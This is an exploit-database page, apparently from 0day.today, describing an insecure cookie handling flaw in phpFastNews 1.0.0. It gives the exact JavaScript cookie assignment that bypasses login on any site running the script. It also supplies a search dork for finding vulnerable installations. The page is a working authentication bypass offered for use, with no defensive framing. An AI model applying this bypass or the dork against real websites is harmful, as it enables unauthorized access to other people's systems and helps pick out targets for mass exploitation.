[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

phpFastNews 1.0.0 Insecure Cookie Handling Vulnerability

Author
Qabandi
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3912
Category
web applications
Date add
17-10-2008
Platform
unsorted
========================================================
phpFastNews 1.0.0 Insecure Cookie Handling Vulnerability
========================================================


#################################################
##		from Kuwait		       ##
#################################################
\\	phpFastNews
//	 Insecure cookie handling
\\
//   Go to any website that has the script installed
\\	type the following code into the Adress Bar
//
\\	javascript:document.cookie = "fn-loggedin = 1";
//
\\	Refresh do whatever, and you will be logged in
//
\\		Dork:intext:"Powered by phpFastNews"
#################################################





#  0day.today [2024-11-16]  #